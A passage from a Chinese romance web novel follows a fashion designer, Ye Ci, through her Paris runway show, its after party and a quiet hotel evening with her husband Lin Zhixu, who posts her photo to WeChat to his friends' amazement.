叶瓷的身体绷紧了一瞬,她站在侧幕,眼睛盯着后台显示屏。 秀场以薄雾笼罩的森林秘境为背景,T台铺满浅灰色鹅卵石,灯光透过两侧垂挂的纱幔洒下,仿佛晨曦穿透云层。 T台入口,此时此刻,所有人的目光都聚焦在那里。 模特Anya,如同从晨雾中走出的精灵,迈出了第一步。 雾粉A字曳地长裙,外层覆盖着三层不同深浅的浅粉,腰间系着一条丝绒缎带,Anya走动时,最外层的薄纱会轻轻飘起,像被晨风吹拂的花瓣。 这时,前排观众席传来一阵轻微却清晰可辨的集体吸气声。 十几位前排嘉宾,无论是时尚主编,挑剔的买手还是见惯风浪的名流,身体都不由自主地微微前倾,目光紧紧追随着那片被裙摆温柔扫过的区域。 后台,叶瓷的指尖深深陷入了掌心。 很快,她感觉到一股沉稳的暖意靠近。 蔺之序不知何时来到了她身侧,掌心轻轻覆在她紧握的手上,带着安抚力量。 音乐节奏轻快浪漫。 模特身着一袭柔粉色的长裙,巨大的仿佛由云朵构成的泡泡袖是绝对的视觉焦点。 当她优雅旋身,后台预设的空调气流精准地拂过袖笼。 瞬间,蓬松薄纱被赋予了生命,轻盈地膨胀鼓动,形成两个完美的充满空气感的球形轮廓。 半透明的纱质隐约透出模特纤细手臂的优美线条,宛如贵族少女在晨光熹微的阳台上,被微风拂动睡袍的慵懒私语。 “Mon Dieu!(天哪!)” 观众席中,一位头发花白,以严苛著称的法国老牌时尚评论家,忍不住用母语发出一声惊呼。 这声低呼瞬间激起周围一片会意的赞叹。 模特依次登场。 前十套礼服主色调为象牙白,雾霭灰,淡樱花粉,穿插月光银与浅紫藤色,整体如晨曦薄雾般朦胧清透。 面料大量运用欧根纱,真丝雪纺,哑光绉绸,层叠褶皱像云雾流动,部分裙装点缀手工刺绣的露珠状水晶,行走时光影摇曳。 二十分钟后,中段造型开始上场。 叶瓷看到一个模特的发辫有些松散,她走过去,伸手将银丝缠绕的野生藤蔓重新固定了下。 模特登场,叶瓷后知后觉,自己手心全是细汗。 中段是花园盛放。 一袭杏色层叠裙,采用意大利真丝绡,每层裙摆都用手工染出渐变效果,就像盛开的朱丽叶玫瑰。 叶瓷调整呼吸,这时,蔺之序过来递给她一杯温水。 叶瓷笑了下,伸手接过。 洋甘菊花茶。 蔺之序:“还有什么需要我做的吗?” 叶瓷摇摇头,突然伸手替他整理了一下袖扣,这个下意识的动作让两人都愣了一下。 好一阵,她缓声笑道:“你在这儿就够了。” 蔺之序眸光微动,“嗯。” 他的手不动声色地握住她,“前台很顺利,反响也很热烈,不要紧张。” 叶瓷:“嗯。” 音乐越来越肃穆而有张力,高|潮在“朱丽叶私语”降临: 娜塔莎,身披一件震撼人心的“婚纱”。 奶油杏色的真丝塔夫绸礼服,裙身采用古典的帝国腰线设计,贴合胸线下自然垂坠,薄纱披肩从肩头滑落至肘间,随着步伐微微浮动。 整件礼服最精妙之处在于腰侧那朵手工捏制的立体朱丽叶玫瑰——由数百片真丝欧根纱花瓣层层堆叠而成,花心点缀着几颗淡水珍珠。 观众席又传来一阵阵赞叹。 这一次,音量比之前任何一次都大,紧接着,掌声犹如酝酿已久的惊雷,轰然炸响。 后台的工作人员也忍不住欢呼。 叶瓷没来得及喜悦,她转向最后准备返场的模特们:“冰镇喷雾准备,大家再检查一遍裙摆,全体注意走位顺序。” 数分钟后,返场的音乐响起。 全体模特身着叶瓷设计的华服,如同一条流动的色彩斑斓的花河,再次涌上T台。 她们在尽头汇聚,灯光将她们的身影拉长,就在掌声达到顶峰时,领头的Anya和娜塔莎相视一笑,突然转身,朝着侧幕的方向,齐齐伸出了手。 叶瓷微微一怔,还没反应过来,就被簇拥上前的模特们热情地推向了T台中央。 耀眼的聚光灯瞬间将她笼罩,台下是黑压压的人群和闪烁成一片星海的相机闪光灯。 热浪和声浪扑面而来,叶瓷有瞬间的眩晕。 片刻,她微微颔首致意。 清冷的面容在强光下显得有些苍白,但那双眼睛,却亮得惊人,如同淬炼过的寒星。 掌声欢呼声,快门声汇成一股巨大的洪流,将她托起。 她是今夜玫瑰园里,当之无愧的女王。 后台,蔺之序看着屏幕上那个被光芒和人群簇拥的身影。 她站在那片由她亲手创造的瑰丽梦境中央,白衣黑裤,身影挺拔如竹,清冷的气质与周遭的狂热形成奇异的反差,更添一种摄人心魄的魅力。 屏幕上,她似乎短暂地垂了下眼睫,再抬起时,目光仿佛不经意地,穿透了镜头,直直地望向监控探头的方向。 那是他所在的位置。 心脏像是被什么柔软又尖锐的东西轻轻撞了一下。 蔺之序几乎是不假思索地,从西装内袋掏出了手机。 他极少拍照,动作甚至带着一丝生疏。 他点开相机,没有选择华丽的T台全景,而是将镜头对准了监控屏幕上那个光芒万丈的身影,精准地按下了快门。 照片里,叶瓷正微微侧身,光线勾勒出她完美的剪影。 她眼神清亮,表情沉静,背景是模糊的光影和盛放的朱丽叶“玫瑰”。 几乎是下意识地,蔺之序点开了朋友圈。 没有配文,只有那张刚刚拍下的来自后台监控屏的照片。 发送。 瞬间,他由极少数商业伙伴,家族成员和真正至交组成的微信朋友圈,像是被投入深水炸弹的平静海面,炸开了! 某顶级投行合伙人:【???蔺总???】 某奢侈品集团亚太区总裁:【这是……蔺太太?!美得不像话!恭喜大秀成功!】 某跨国律所创始人:【蔺之序,你居然发朋友圈了?!还是晒太太?!活久见!】 某家族继承人:【嫂子这气场!绝了!】 某资深财经记者:【巴黎?原来蔺总这几天神隐是陪夫人去了,神仙眷侣。】 除了评论区,七号公馆也开始了刷屏轰炸: 裴时:【@蔺之序五哥你号被盗了?】 梁屿培:【我眼花了?蔺之序居然会发朋友圈?!还是发老婆?![震惊到裂开.jpg]】 蒋昀铮:【[放大镜看截图.jpg] 等等,后台监控屏?五哥你在后台当望妻石?】 裴时:【哈哈哈哈真相了!】 司恒:【@蔺之序说好的‘工作就是一切’呢?说好的‘感情影响效率’呢?五哥你这双标玩得溜啊![吃瓜]】 梁屿培:【陪老婆来巴黎看秀?啧啧啧,这行程安排的,比谈几百亿的生意都积极吧?[斜眼笑]】 裴时:【嫂子厉害啊,看把五哥迷得,原则都不要了!蔺总,分享一下被老婆美到失语的心路历程呗?[期待]】 手机在蔺之序掌心持续地震动,屏幕上的调侃和惊叹还在不断刷新。 蔺之序看一眼那些熟悉的打趣,素来波澜不惊的脸上,奇异地出现了……满足感。 他修长手指在屏幕上敲了几下,回复了群里那条最核心的调侃。 蔺之序:【陪老婆工作】 言简意赅,却像往沸腾的油锅里又浇了一瓢冷水。 司恒:【!】 梁屿培:【这狗粮撒的,我先干为敬!】 蒋昀铮:【陪老婆……听听这语气,这理所当然,五哥你变了!你再也不是那个冷酷无情的工作机器了![痛心疾首.jpg]】 裴时:【嫂子威武!收服了我五哥这头史前巨兽![膜拜]】 蔺之序没再理会群里的鬼哭狼嚎。 他将手机放回口袋,目光再次投向监控屏幕。 T台上,叶瓷的谢幕已近尾声。 她微微鞠躬,姿态清冷优雅。 厚重的幕布被掀开,叶瓷脸上还带着被强光照射后的短暂不适和一丝未褪尽的激动红晕。 蔺之序已经拿着她那件柔软的米白色羊绒开衫,静静地等在那里。 “恭喜。” 叶瓷笑,她自然地接过蔺之序递来的开衫披上。 后台的喧嚣还未完全平息,工作人员开始有条不紊地收拾,模特们兴奋地互相拥抱庆祝。 叶瓷低头整理着开衫的袖口,“刚才……在台上,好像看到你了。” 她指的是后台的方向。 蔺之序笑了下,“嗯。” “这场秀很成功。” 叶瓷抬起头,她没说话,只是那清冷的眼底,似乎有什么东西,如同春冰初融,缓缓流淌出一丝暖意。 她弯弯唇角,看向外面渐渐亮起的巴黎暮色,“蔺之序,我有点累了,我想回酒店休息。” 接下来还有After Party,是她必须要应酬的。 蔺之序:“好。” 他自然地伸出手,不是去牵她,而是揽住她的腰身,为她隔开旁边推过的衣架车。 两人一前一后,穿过依旧忙碌但气氛已转为轻松的后台。 第32章 第32章 心思全在老婆身上 傍晚, 塞纳河左岸染着一层慵懒的蜜金色。 私人花园深处,叶瓷个人展的After Party正氤氲在香槟气泡和呢声笑语里。 空气里浮动着玫瑰,冷杉与高级香氛糅合的独特气息。 叶瓷穿着简单的丝质Slip Dress, 浓郁的午夜蓝色包裹着她纤秾合度的身材。 没有繁复的珠宝配饰, 仅耳垂上缀着两粒极小的钻石耳钉, 在花园朦胧的灯光下,偶尔折出一点冷星似的光。 这份简约, 反而在珠光宝气的宾客中,沉淀出一种不容忽视的清冽气场。 此刻, 她正被一众设计师, 买手,时尚评论家与名流簇拥着。 而在光影稍暗一些的正厅廊柱旁, 蔺之序手中端着一杯没怎么碰的威士忌, 剪裁完美的黑色西装几乎与夜色融为一体。 不远处, 数个自恃貌美的女宾交换着眼神,显然并不清楚他的身份以及与叶瓷的关系, 只觉得这陌生面孔极具吸引力,各个跃跃欲探。 其中一位穿着亮片长裙,身姿摇曳的年轻女孩终于按捺不住, “我去试试。” 从侍者盘中拿起一杯粉红香槟,女孩笑容妩媚地走近, “先生似乎有点面生?一个人?” 蔺之序的目光刚从叶瓷那边收回来, 闻言,眼皮也没多抬一下,只淡淡回了两个字:“不是。” 女孩没料到对方这么冷淡,但仗着自己年轻漂亮,又往前凑了半步, 几乎要碰到他的酒杯:“看你站这儿好久了,要不要——” “我已婚。”蔺之序打断她。 声音不大,像冰块砸进杯子,清晰利落。 女孩的笑容瞬间僵在脸上,徒留尴尬和狼狈。 回到同伴身边后,其中一位道,“我刚刚知道,他不但结婚了,老婆正是今天办秀的叶设计师,你看他眼神就没离开过那边。” 女孩顺势望过去,发现蔺之序虽然在和两个认出他身份,过来打招呼的中年男人说着话,但他的眸光总是不经意地扫过人群里的叶瓷。 女孩儿惊讶:“那个是……宏基的李总吧?对他竟然都那么客气。” “不然呢?真以为光是脸好看?那可是京北蔺家的掌权人。” 同伴低声,“你看李总他们上赶着攀聊,讲不了两句,蔺总眼神就飘走了。心思根本不在应酬上,全拴在他太太身上了。” 几人交换眼神,“这叶设计师真是好命。” 对面。 叶瓷刚从应酬里抽身,清净还没持续多久,《W》杂志的主编,手持香槟,脸上挂着职业性的热络笑容,过来找她攀谈。 “瓷,亲爱的,祝贺你!今晚的秀美得令人窒息。” 主编的赞美真诚直接,但那双敏锐的眼睛很快掠过叶瓷肩头,投向稍远处朦胧灯影下的蔺之序。 随后,她话锋一转,带着点分享秘密的亲昵,“瓷,原谅我的八卦,后台那位全程默默陪伴的英俊绅士,似乎也是昨夜陪你漫步玛莱区,被街拍摄影师无意抓拍到的那位神秘男主角?” 说着,她眨了眨眼,笑意更深,“而且我发现,他今晚也在现场哦。” 叶瓷最不喜欢将个人隐私摆到台面上。 短暂的沉默后,她用英语回答,“他是我丈夫。” 主编显然没料到会是如此直接又如此……缺乏“爆点”的答案。 她迅速调整表情,“Oh!原来如此。” 毕竟是专业人士,那点未能满足的八卦心思,也被迫收起。 接下来,两人的对话又回到了叶瓷今天下午的个人展上面。 讨论着专业相关的东西,叶瓷对答如流,思路清晰。 二十分钟后,送走对方,叶瓷才感觉胃里一阵空落。 她来到长条餐桌旁,取了一小块覆盆子挞。 “叶总监!” 江晏穿过人群向她走来,“恭喜!太震撼了!我妈妈看了直播,激动得不行。” 叶瓷笑,“谢谢。” 她对眼前这位天赋与努力并存,性格又难得直爽的年轻顶流,有着一份天然的欣赏。 “叶总监,合张影?” 江晏指了指不远处几个举着专业相机的媒体记者,“他们想拍几张。” 叶瓷:“好。” 两人站定,保持着礼貌而熟稔的距离,对着镜头微笑。 闪光灯连成一片,大家都在拍顶级设计师与当红顶流并肩的画面。 明日,这又将是一个时尚与娱乐交汇的头条。 就在快门声落下的余韵中,另一双眼睛穿透人群望过来。 宋舜站在盛放的白色绣球花旁,精心打理过的卷发垂落肩头,穿着当季高定的粉色小礼服裙,像一朵被精心包装的糖果。 她那张被媒体誉为“小提琴精灵”的脸上,此刻却没什么笑意。 她的经纪人,一个干练精明的女人,正低声在她耳边快速说着什么,目光频频看向叶瓷的方向。 “舜舜,去跟叶设计师合个影,今晚她是绝对的焦点,我们团队需要这样的照片。” 见宋舜闻言却未动,经纪人语气又急切起来,“我的小祖宗,你快过去搭讪呀,她现在风头正盛,你要把握机会!” “这会儿就别耍小性子了!你也知道叶设计师不是爱应酬的人,我估摸着她很快就会离场,到时候你上哪儿求合影去?” 宋舜抿了一口香槟,气泡在舌尖炸开,带来一丝微麻的涩意。 她不喜欢这种刻意的攀附,尤其对象还是叶瓷。 那个永远清冷,仿佛活在另一个维度里的女人,和这样的人靠近反而显得自己……很俗气似的。 这样想着,宋舜她下意识地想要拒绝,目光却在流转间,意外地捕捉到了叶瓷身旁的江晏。 之前在维也纳的一场慈善音乐会上,她作为表演嘉宾,曾与作为特邀嘉宾出席的江晏有过一面之缘。 他当时礼貌地称赞了她的演奏,笑容温暖,眼神清澈,没有圈内人常见的审视与算计。 那个瞬间的悸动,被她小心地藏在了心底。 此刻,看到他如此自然地站在叶瓷身边,谈笑风生,一股微妙的情绪涌了上来。 江晏如今是圈内炙手可热的顶流,资源,人脉,关注度都是顶级的。 如果能和他打好关系,经纪人的话虽功利,却也不无道理。 内心的天平悄然倾斜。 宋舜深吸一口气,压下心头那点别扭。 她伸手整理了下裙摆,然后,从侍者的托盘里重新拿起一杯香槟,身姿款款,朝着叶瓷和江晏的方向走去。 “叶设计师,江先生,晚上好。” 她的声音清甜,带着明显的仰慕。 “恭喜叶设计师大秀圆满成功!每一件作品都美得像艺术品。” 眼睛又落在江晏脸上,笑容加深,“江先生,没想到在这里又见面了。” 叶瓷颔首,嘴角礼貌浅笑,“谢谢。” 江晏:“宋小姐,你好,好巧。” 他的态度温和,让人挑不出毛病。 可宋舜却感觉有一种说不上来的距离感,远不如他刚才与叶瓷交谈时的自然放松。 气氛有些微妙。 宋舜的笑容不变,举了举杯:“敬今晚的星光。” 她巧妙地把自己也纳入这“星光”的范畴。 叶瓷只是象征性地沾了沾唇,江晏也配合地举杯,就在宋舜准备再找话题切入时,一个身影来到叶瓷身边,是助理小于。 小于凑近叶瓷耳边,“叶总,蔺总刚才让司机送他回酒店了。说是,有个紧急的会议需要他亲自处理。” 叶瓷轻着嗯了声,“知道了。” 随即,她将手中几乎未动的香槟杯递给小于,接过对方臂弯里搭着的那件米白色羊绒风衣,以及她的单肩包。 这个动作本身,就是一个无声的信号。 江晏问:“叶总监,是要走了吗?” “嗯,有些累了。”她一边利落地将风衣披上肩头,一边对江晏和宋舜微微点头,“你们玩得开心。” 风衣的质感挺括,瞬间将她身上那件Slip Dress的柔媚包裹起来,增添了几分冷冽的屏障感。 宋舜脸上的笑容有些挂不住,精心准备的寒暄还未出口就胎死腹中,只得跟着说:“叶设计师好好休息。” 叶瓷礼貌点了下头。 温翎也来参加今晚的聚会了,叶瓷在人群里寻了会儿,最后在正厅看见了她。 对方在和几位名媛贵妇聊天。 叶瓷走过去,“妈,我先回去了。” 温翎笑,起身抱了抱她的肩膀,“好,回去好好休息。” 叶瓷:“嗯。” “叶总,”小于低声确认,“接下来杜总那边还有个私人品鉴会,是几个顶级VIP和买手,您——” 叶瓷的脚步没有丝毫停顿,“让杜总全权负责。” 小于立刻应下,“好的,叶总。” 叶瓷已经走到了花园的出口,侍者为她拉开铁艺栅栏门。 她回头看向小于,“告诉溦溦和念一,聚会结束后,立刻回酒店,不要在外面闲逛。” 小于点头,“知道了,叶总。” 转身出门,叶瓷又回看了一眼灯火辉煌,衣香鬓影的花园深处。 那里就像一个巨大的,旋转的万花筒,流光溢彩,却也令人窒息。 街道上行人稀少,塞纳河的微风带着凉意拂来,叶瓷感觉到说不出的轻松。 第33章 第33章 “理想伴侣” 在酒店沐浴过后, 叶瓷换回日常穿搭。 她走到与隔壁相连的房门前,略作停顿,接着, 指节轻叩门板。 很快, 门就从里面拉开了。 蔺之序站在门内, 身上仍是白天那件黑色西装,只是领带松了结, 衬衫最顶端的纽扣解开两颗,透出几分工作间隙的松弛。 蔺之序:“那边已经结束了吗?” 叶瓷笑, “还没, 我提前回来了。” 蔺之序也笑,随后侧过身让她进来。 套房客厅的布局与她房间如出一辙:低调的米灰色调墙面, 线条简洁的意大利现代家具。 叶瓷站在玄关处, 自然弯腰, 脱了脚上的平底乐福鞋,换上一双绒面拖鞋。 鞋底踩在地毯上, 消弭了所有脚步声。 两人一前一后,穿过短廊,步入客厅。 宽大的黑色哑光漆面茶几上, 一台超薄笔记本电脑正亮着冷光,屏幕上是一份未关闭的并购案文件。 旁边还放了一杯水, 冰块化得只剩薄薄一层。 “抱歉叶瓷, ”蔺之序没有多余的寒暄,“视频会议临时延长了,刚结束,你稍等一下,我收个尾。” 叶瓷笑, “你忙,不用管我。” 她并不在意他的“不陪”,甚至对这种互不干扰的相处感到自在。 蔺之序的视线在她素净的脸上短暂停留了一秒,确认她状态尚可,便径直走向与客厅相连的书房区域。 那是一个用半面磨砂玻璃墙隔出的独立空间,能隐约看到里面宽大的书桌轮廓。 他去书房后,叶瓷站在原地环顾了一圈,然后走到冰箱前。 冷藏室内整齐排列着矿泉水和气泡水,标签无一例外是低调的法文或意大利文。 她取出一罐气泡水,瓶身冰凉,凝结着细密的水珠。 “嗤” 铝罐开启。 客厅一角,摆着一张宽大的布艺沙发。 叶瓷拿着气泡水靠坐进去,沙发承托力极好,无声地接纳了她的重量。 她小口啜饮着冰凉的液体。 窗外,雨势似乎大了一些,雨点敲打在落地窗上,发出细碎连绵的淅沥声。 她解锁手机,手指在屏幕上滑动,朋友圈的红点跳出来,点开。 很快,她就看到了蔺之序的头像。 这还是她第一次见他发朋友圈。 两人的共同好友寥寥无几,那条动态下只有三条评论,其中一位是两人的共同好友,某个欧洲老牌家族基金的负责人,对方用法语留言祝贺:Bravo!Undéfiléépoustouflant!(太棒了!一场令人惊叹的秀!) 最新一条是蔺之序的回复:【陪老婆工作】 五个字,没有标点,平铺直叙。 叶瓷点开配图。 照片是从后台监视屏里抓拍的她谢幕时的画面。 背景是模糊的光影和盛放的“玫瑰”,她站在T台中央,聚光灯打在脸上,而她的眼神似乎正望向镜头之外的地方。 叶瓷握着气泡水的手指,微不可察地收紧了一下。 照片里模糊的玫瑰色光晕突然变得鲜活,她终于想起谢幕时那道若有实质的视线从何而来。 他一直都在陪着她。 敛神,叶瓷发现气泡水在罐壁上凝出蜿蜒水痕。 片刻,指尖继续下滑,她看到公司几个员工发布的秀场花絮,兴奋的自拍以及对这场秀的赞美。 她点赞了数个。 再往下翻,是念一和叶溦的动态。 两个小姑娘像是要把巴黎的快乐都装进手机里,九宫格照片塞得满满当当:在塞纳河畔搞怪的合影,在甜品店对着巨大的闪电泡芙做鬼脸,在埃菲尔铁塔下跳跃的瞬间…… 叶瓷给几张特别生动的照片点了赞。 这时,她又看到了叶北庭转发霓坊工作室官方账号的秀场照片,配文:【叶家小公主】 后面还跟了数个夸张的星星眼表情。 叶瓷嘴角不自觉翘起,随后点开对话框:【哥哥,你那个表情太浮夸了。】 叶北庭秒回:【哪里浮夸?妹妹就是最棒的。】 紧接着,叶北庭分享了一张她小时候第一次拿剪刀做手工的照片:【看看,从小就有设计师天赋。】 叶瓷看着照片里的自己,正笨拙地在彩纸上剪出一朵歪歪扭扭的花,忍不住笑出声:【这也能叫天赋?】 “怎么不能?” 叶北庭发来一段语音,背景音嘈杂,似乎正在机场,“当年那朵纸花我还留着呢,就放在我办公室抽屉里。” “每次看到,我都在想,我妹妹好厉害。” 叶瓷笑。 这时叶北庭又问她,“什么时候回国?” 叶瓷打字:【这两天就回去,累了。】 叶北庭:【嗯,回到家后好好休息。】 刚结束聊天,温翎的消息突然弹出:【小瓷,秀结束了,好好休息。[拥抱]】 叶瓷:【知道了,妈妈也要保重。】 发送过,叶瓷等了会儿,温翎没有再回消息。 有些累,她将手机放在身侧的沙发扶手上。 窗外的雨声成了舒缓的白噪音。 叶瓷调整了一个更舒适的姿势,头微微歪向柔软的沙发靠背,眼睫渐渐沉重。 意识沉浮间,巴黎傍晚的雨声,室内恒温系统低微的送风声,以及指尖残留的冰凉水汽,交织成一片朦胧的背景。 蔺之序合上电脑时,窗外的雨下得更大了。 他揉了下眉心,指腹压住太阳穴缓慢打圈,谈判比预想中棘手,收尾工作拖了近一小时。 客厅只亮着盏落地灯,暖黄光束拢在沙发一角,叶瓷正蜷在宽大的沙发里,陷得很深。 她睡着了。 蔺之序脚步放轻,走过去。 视线落在沙发扶手旁的地毯上,她的手机屏幕朝下,静静躺在深色长绒毯上,旁边是喝了一小半的气泡水。 他屈膝捡起手机。 手指触到冰凉的屏幕背面,确认无损后,才又轻轻放回茶几上。 玻璃与金属接触,一声微响被雨声吞没。 冰箱门开启,他喝了几口冰水。 转身时,眸光不自觉地落在沙发方向,叶瓷的头发散在靠垫上,像泼洒的墨,衬得脸颊愈发瓷白。 他想起他进书房前,叶瓷沉静的眉眼,她说“你忙”时,语气里没有勉强或失落,只有纯粹的理解,如同处理一件理所当然的事务。 这比任何刻意的体贴都更熨帖他的本性。 她拥有自己完整而自洽的精神世界,高定设计是她的疆域,她沉浸其中,游刃有余。 从初见到现在,她对他工作状态的默契“放行”,都精准地踩在他对“理想伴侣”设定的标准线上。 他欣赏这份无需言说的边界感。 然而,一种微妙的失衡感又在不易察觉地滋生。 蔺之序靠在吧台边,审视着自己。 他发现自己停留在这客厅,停留在她身上的时间正不受控制地增多。 他本该立刻处理下一封邮件,或者梳理明天的行程,但他却像被钉住一般,满心满眼都是她。 从初见,他欣赏她的完美独立。 可如今,这份欣赏已经渐渐偏离了轨道。他仍是那个工作狂,不过,天平的另一端,属于叶瓷的那部分砝码,正在无声加重。 手机在西装内袋震动起来。 蔺之序眉心微蹙,迅捷掏出手机。 电话是司机打来的。 他抬腿走向阳台,推开双层玻璃门,裹挟湿意的凉风涌入时,他反手关严门。 “请讲。” “蔺总,您列的购物清单都备齐了,需要现在送到您房间过目吗?” 蔺之序透过玻璃门,目光落回沙发上安静的身影。 声音压低,“不用,直接打包,明天托运。” 司机:“明白。” 结束通话,他看了眼时间:19:07。 水珠在玻璃上蜿蜒成河,将霓虹灯光晕染成破碎的色块。 他又给念一发消息:【回来了吗?】 念一回复的很快:【报告,在酒店餐厅啃蜗牛!】 附赠一张做鬼脸的自拍,背景里叶溦正举着餐刀对镜头比划。 蔺之序:【嗯,吃过饭就别出去了。】 念一:【知道啦~外面下雨了嘛。】 蔺之序收起手机,推门回客厅。 几乎同时,沙发传来细微的窸窣声。 叶瓷醒了。 眼睫颤动几下才睁开,眼神带着初醒的迷蒙。 蔺之序:“醒了?” 叶瓷撑坐起来,揉了揉发酸的脖颈,声音微哑:“嗯……几点了?” “七点多了。” 蔺之序在她旁边坐下。 “唔。” 她应着,喉咙发干,伸手去够茶几上的气泡水。手还未及,另一只大手已先一步拿起,递到她掌心。 接过,叶瓷问他:“溦溦和念一回来了吗?” 蔺之序笑,“回来了,正在餐厅呢。” 他看着叶瓷,“饿了吧?从昨天到现在,都没怎么吃东西。” 叶瓷的目光从雨幕转回,停在他脸上。 她微微偏头思考。 想起酒店顶层那家米其林三星,上次来巴黎时,对方曾为她特制过一道荔枝玫瑰雪芭。 “去顶楼餐厅吧。”她说。 叶瓷话音落下,便见蔺之序眉梢微动,“好。” 简短应过,他温热的掌心轻轻落在了叶瓷的头发上,抚了抚。 指腹穿过发丝带来的细微窸窣,在她耳中被无限放大,像电流倏然窜过脊椎。 “我们走吧。”蔺之序笑道。 半天,叶瓷才又找回自己的声音,“哦。” 第34章 第34章 支撑她失衡的重心(二更合一…… 放回气泡水, 叶瓷从沙发起身,两人牵着手往门口去。 来到玄关处,叶瓷习惯性地弯腰, 伸手去够鞋柜下层的平底乐福鞋。 结果, 脚刚伸进鞋, 放在她风衣口袋里的手机突然就响了起来。 铃声是钢琴和弦,在静谧的玄关带着一点回音。 以为是工作电话, 叶瓷动作一停,维持着弯腰的姿势, 一手撑在鞋柜柜面稳住身体, 另一只手匆忙去掏口袋里的手机。 屏幕亮起,是彭罄。 接通后, “彭老师?” 叶瓷的声音带着刚睡醒不久的暗哑, 又因这突如其来的姿势而气息略有不稳。 这时, 蔺之序的手稳稳地握在了她的腰侧,瞬间支撑住她失衡的重心。 距离太近, 他身上惯有的清冽气息像一片沉冷的雪松林,将她无声拢住。 这个支撑,有些亲密, 叶瓷的呼吸很不争气地滞了一下。 蔺之序手心的温度即便隔着数层布料依然灼热。 她下意识地绷紧了腰间的线条,整个人像一张被无意拨动的琴弦。 真皮换鞋凳就在旁边, 蔺之序扶她坐下。 电话那头, 彭罄的声音响起,立即填满了这方寸之地:“小瓷?怎么不说话?是信号不好吗?” “啊,在的,老师。”叶瓷回神,“我刚才在换鞋, 有点不方便。” 彭罄笑:“看到《Vogue Runway》刚刚更新的网站标题了吗?《叶瓷:重新定义现代浪漫主义》。” “写得真好啊,我一连看了好几遍!” “这场秀,你做得太漂亮了!每一个细节,从廓形到面料再到那些点睛的刺绣,都充满了生命力,简直太美了!” 彭罄一边夸,笑声响亮,“后生可畏啊!” 叶瓷听着彭老师的夸奖,可注意力却被无形的线牵引着,不由自主地向下偏移。 视线里,是蔺之序那双定制牛津皮鞋,以及他此刻正屈膝半跪的姿态。 高定西服的布料因其动作而绷紧,勾勒出精悍优美的背部线条,像一头收敛了锋芒,暂时休憩的猛兽。 叶瓷的眼睫不自觉地颤了颤,这画面很不真实。 蔺之序是财经杂志封面上遥不可及的掌权者,代表的是顶尖财富和不容置疑的地位。 可此刻,这个高高在上,被人仰望的男人,正屈膝半跪在她脚边。 昂贵的手工西裤直接压在地板上,而他那双签下过数以亿计合同,掌控着庞大商业帝国方向的手,正稳稳握着她的脚踝。 他微垂着头,侧脸线条冷峻,神情专注。 接着,叶瓷的脚被他用手掌托住。 她下意识地想缩回,却被他用力一带,重新握紧。 指腹的粗粝感若有似无地擦过她脚踝纤细的皮肤,带起一阵摧枯拉朽的战栗。 他为她穿鞋的动作很温柔。 叶瓷觉得耳根发烫,连同电话那端的声音也似乎模糊了一瞬。 “……嗯,谢谢老师。” 叶瓷竭力维持平静。 这时,蔺之序已经帮她穿好了一只鞋,动作自然地转向另一只脚。 电话那头的彭罄好像捕捉到了她声音里那丝微妙的异样,笑声里掺入了促狭:“怎么了小瓷?说话有点磕巴?是不是蔺之序那小囝在你旁边?” 叶瓷的目光终于完全落在了蔺之序身上。 他已经站起身,姿态挺拔,几乎挡住了玄关外透进来的大部分光线,在她身前投下一道带着安全感的阴影。 她对着话筒,只低低地应了一声:“嗯。” “哈!我就知道!” 彭罄的笑声更加爽朗,带着洞察一切的得意,“那小囝陪你去巴黎了吧?啧,我看新闻图片了,媒体标题怎么说的来着?哦,‘比叶瓷的浪漫主义新作更动人的,是后台无声的凝视’!” 叶瓷听着,余光瞥见玄关镜上两人模糊的倒影,声音恢复了些许镇静:“老师你知道的,媒体就爱捕风捉影,看图写话。” 彭罄笑,“那些记者拍的照片和写的稿子,可一点都不像乱写的,我看人家写的句句都是大实话!再说了——” 彭罄带着长辈特有的亲昵,自然切换成软糯腔调的沪语,“侬晓得的伐?前段辰光,侬婆婆汤女士专门打电话到我工作室,讲要订制一套非常重要的礼服,尺寸和要求都讲得老细致,特别是侬的尺寸哦!我一看这阵仗,心里就明白了,好事情是快要近了呀!” 镜子里,叶瓷看到蔺之序的眉梢轻微地挑动了一下,显然,他捕捉到了电话里关于汤静娴的信息。 叶瓷握着手机的手指微微收紧,指尖泛出淡淡粉色,她对着话筒,“嗯。” “那,你们打算啥辰光来沪城啊?礼服的面料小样我让人准备了几种顶级的,意大利的提花真丝,法国的古董蕾丝,都要侬亲自来摸摸看,拿主意。” 叶瓷抬眼看向蔺之序,带着询问。 蔺之序微微颔首,示意由她决定。 叶瓷斟酌着回答:“具体时间……我还不确定约好的是哪一天?” “哎哟喂!” 彭罄在电话那头几乎要跳脚,“在我这里还用预约吗?侬真是!我当时在电话里就跟汤女士讲得清清楚楚咯:‘小两口什么时候有空了,随时过来!我这里的大门,永远为瓷瓷开着!’ 侬只管来!” 彭老师毫不掩饰的偏爱和热情让叶瓷感动,“知道了老师,谢谢您。等我们回国后,一定第一时间安排,专门登门拜访您。” “好!好!一言为定!等你们啊!” 彭罄心满意足地收了线。 通话结束,玄关恢复安静。 叶瓷放回手机,刚才那通电话的内容,每一个字,都落入了近在咫尺的蔺之序耳中。 两人一前一后走出玄关,通往专用电梯的走廊铺着厚实的羊毛地毯,吸走了所有脚步声。 蔺之序按电梯下行键。 金属门无声滑开,内部是暖金色灯光,四壁镶嵌着光滑如水的镜面。 叶瓷率先步入电梯,长款风衣,身姿清瘦,颈间一条极细的铂金项链闪着微光,是她身上唯一的亮色。 蔺之序随后进来,站在她身侧。 镜中的影像沉稳如山岳,将她清冷的身影完全纳入他的气场范围。 电梯门悄然闭合,轻微的失重感传来。 刚才电话里导师的调侃,母亲订制礼服的消息,媒体捕风捉影的“甜蜜”以及玄关处他屈膝为她穿鞋时手指的温度…… 所有的画面和声音碎片,在这狭小的被镜像包围的空间里,无声地碰撞回响。 电梯平稳下行。 叶瓷微微垂眼,看着镜中自己脚下那双被他亲手穿上的乐福鞋。 她想起两人订婚以来,他做得种种体贴之事,只是今晚,叶瓷觉得这不再是简单的体贴,它更像是一种宣告。 宣告在他的世界里,她拥有至高且唯一的特权。 思及此,叶瓷心里仿佛融化了一颗糖,还是荔枝味的。 就像领证那天,两人吃的那糖一样。 轿厢安静,蔺之序的手覆上了她垂在身侧的手。 很快,叶瓷反客为主,相视一笑间,两人十指交扣。 “叮” 电梯门滑开,是酒店顶层米其林三星餐厅专属的接待区。 光线豁然开朗。 空气里满是现磨咖啡浓郁的醇香。 侍者引领他们走向靠窗位置。 落座。 深蓝色天鹅绒座椅宽大舒适,陷入其中时,仿佛隔绝了外界。 叶瓷抽出湿纸巾递给他,“擦下手。” 